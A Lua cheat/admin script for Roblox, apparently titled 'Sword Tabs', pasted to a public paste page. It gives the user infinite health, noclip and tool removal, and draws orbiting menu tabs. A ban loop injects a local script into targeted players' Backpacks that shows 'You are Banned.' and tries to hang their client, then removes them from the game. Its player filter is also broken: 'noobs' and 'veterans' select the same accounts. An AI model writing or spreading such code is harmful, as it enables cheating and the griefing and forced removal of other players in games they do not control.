- fake.Transparency=0
- w=Instance.new("Weld")
- w.Part1=fake
- w.Part0=char.Head
- w.Parent=char
- fake.Mesh.Scale=fake.Mesh.Scale+Vector3.new(-0.01,-0.01,-0.01)
- fake.BrickColor=Color2
- char.Head.Changed:connect(function(p)
- if p=="BrickColor" then
- wait()
- pcall(function()
- char.Head.face:Remove()
- char.Torso.roblox:remove()
- char["Shirt Graphic"]:remove()
- end)
- char.Humanoid.WalkSpeed=25
- char.Humanoid.MaxHealth=math.huge
- char.Humanoid.Health=math.huge
- for _,v in pairs(char:children()) do
- if v.className=="Hat" then
- v:remove()
- elseif v:IsA("Part") then
- v.BrickColor=Color2
- v.TopSurface="Smooth"
- v.BottomSurface="Smooth"
- elseif v:IsA("Shirt") or v:IsA("Pants") then
- v:remove()
- end
- end
- end
- end)
- char.Head.BrickColor=Color2
- Tor=Instance.new("Part")
- Tor.Size=Vector3.new(1,1,1)
- Tor.BrickColor=Color2
- Tor.Reflectance=0
- Tor.Transparency=0
- Tor.CanCollide=false
- Tor.Parent=char
- Mesh=Instance.new("SpecialMesh")
- Mesh.MeshId="http://www.roblox.com/asset/?id=16952952"
- Mesh.Scale=Vector3.new(1.05,1.05,1.05)
- Mesh.Parent=Tor
- w = Instance.new("Weld")
- w.Parent = char["Head"]
- w.Part0 = w.Parent
- w.Part1 = Tor
- w.C0 = CFrame.new(0,0.35,0)
- end
- end
- )
- AddCmd("NoClip Character","nclip","Make Character NoClip",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Character is Now NoClipped",__)
- wait(1)
- nam = game.Players.LocalPlayer.Name
- coroutine.wrap(function()
- while wait() do
- for a, b in pairs(Workspace[nam]:GetChildren()) do
- if b:FindFirstChild('Handle') then
- b.Handle.CanCollide = false
- end
- end
- end
- end)()
- Workspace[nam].Humanoid.Changed:connect(function()
- Workspace[nam].Humanoid.WalkSpeed = 16
- end)
- game:GetService('Players').LocalPlayer.PlayerGui.ChildAdded:connect(function(asd)
- delay(0, function()
- if asd.Name ~= 'OutputGUI' then
- asd:Destroy()
- end
- end)
- end)
- game:GetService('RunService').Stepped:connect(function()
- Workspace[nam].Torso.CanCollide = false
- Workspace[nam].Head.CanCollide = false
- end)
- Workspace[nam].Torso.Changed:connect(function()
- Workspace[nam].Torso.CanCollide = false
- Workspace[nam].Head.CanCollide = false
- end)
- end end
- )
- AddCmd("Remove Tools","rt","Remove current tools",
- function()
- Dismiss()
- pcall(function()
- LocalPlayer.Backpack:ClearAllChildren()
- end)
- end
- )
- function Output(Txt, func)
- P = Instance.new("Part", tabmodel)
- P.Shape = "Ball"
- P.Anchored = true
- P.CanCollide = false
- if probemode == false then
- if LocalPlayer.Character.Torso then
- P.Position = LocalPlayer.Character.Torso.Position
- elseif LocalPlayer.Character.Torso == nil then return end
- elseif probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- P.Position = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").Position
- elseif game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") == nil then return end
- else
- return
- end
- M = Instance.new("SpecialMesh",P)
- M.MeshId = "http://www.roblox.com/asset/?id=121925241"
- M.TextureId = "http://www.roblox.com/asset/?id=121924580"
- M.Scale = Vector3.new(2,2,2)
- Instance.new("PointLight", P)
- bg = Instance.new("BillboardGui", P)
- bg.Adornee = tab
- bg.Size = UDim2.new(8, 0, 7.5, 0)
- bg.StudsOffset = Vector3.new(0, 1, 0)
- text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(1, 0, 0.2, 0)
- text.FontSize = "Size18"
- text.BackgroundTransparency = 1
- text.Font = "Legacy"
- text.TextStrokeTransparency = 0
- text.TextColor = BrickColor.new("Institutional white")
- text.Text = Txt
- Click = Instance.new("ClickDetector",P)
- Click.MaxActivationDistance = 999999999
- Click.MouseClick:connect(function(Plr)
- if Plr.Name == LocalPlayer.Name then
- Dismiss()
- func = func
- func()
- end
- end)
- table.insert(Tabs, P)
- end
- function getPlayers(msg)
- local plrs = {}
- if msg == "me" then
- table.insert(plrs, LocalPlayer)
- elseif msg == "all" then
- plrs = game:GetService("Players"):GetChildren()
- elseif msg == "noobs" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
- elseif msg == "veterans" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
- elseif msg == "others" then
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v ~= LocalPlayer then
- table.insert(plrs, v)
- end
- end
- else
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v.Name:lower():sub(1,#msg) == msg:lower() then
- table.insert(plrs, v)
- end
- end
- end
- return plrs
- end
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- end
- LocalPlayer.Chatted:connect(function(m)
- for i,v in pairs(Cmds) do
- if v["Say"]..key == m:sub(1, #v["Say"]+#key) then
- v["Func"](getPlayers(m:sub(#v["Say"]+#key+1)), m:sub(#v["Say"]+#key+1))
- end
- end
- end)
- for i = 0,8,1 do
- wait(0.01)
- end
- Output("Welcome to Sword Tabs", __)
- Output("Created by TheScriptGod", __)
- Output("New Updates : "..Updates, __)
- Output("User: "..LocalPlayer.Name, __)
- tabmodeldebounce = false
- modeldebounce = false
- game:service'RunService'.Stepped:connect(function()
- if modeldebounce then return end
- rot = (rot % 360) + 0.5
- if tabmodel.Parent ~= workspace then
- modeldebounce = true
- tabs = {}
- tabmodel = Instance.new("Model", workspace)
- tabmodel.Name = "Sword tabs"
- tabs = {}
- wait()
- modeldebounce = false
- end
- end)
- rot = 0
- coroutine.resume(coroutine.create(function()
- game:GetService("RunService").Stepped:connect(function()
- if probemode == false then
- if LocalPlayer.Character then
- if LocalPlayer.Character:findFirstChild("Torso") then
- rot = rot + 0.001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = LocalPlayer.Character.Torso.CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- rot = rot + 0.001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end)
- end))
- game:GetService("RunService").RenderStepped:connect(function()
- for _,a in pairs(game:service('Players'):children()) do
- for _,b in pairs(Banlist) do
- if b:find(a.Name) then
- NewLS([==[
- Instance.new('Message',Workspace).Text = "You are Banned."
- game:GetService("RunService").RenderStepped(function()
- Delay(0, function() return end)
- end)
- ]==], a.Backpack)
- a:remove()--If his client is even left standing xD
- Output('Banned Player | '..a.Name..' | Attempted to join.',__)
- else
- end
- end
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement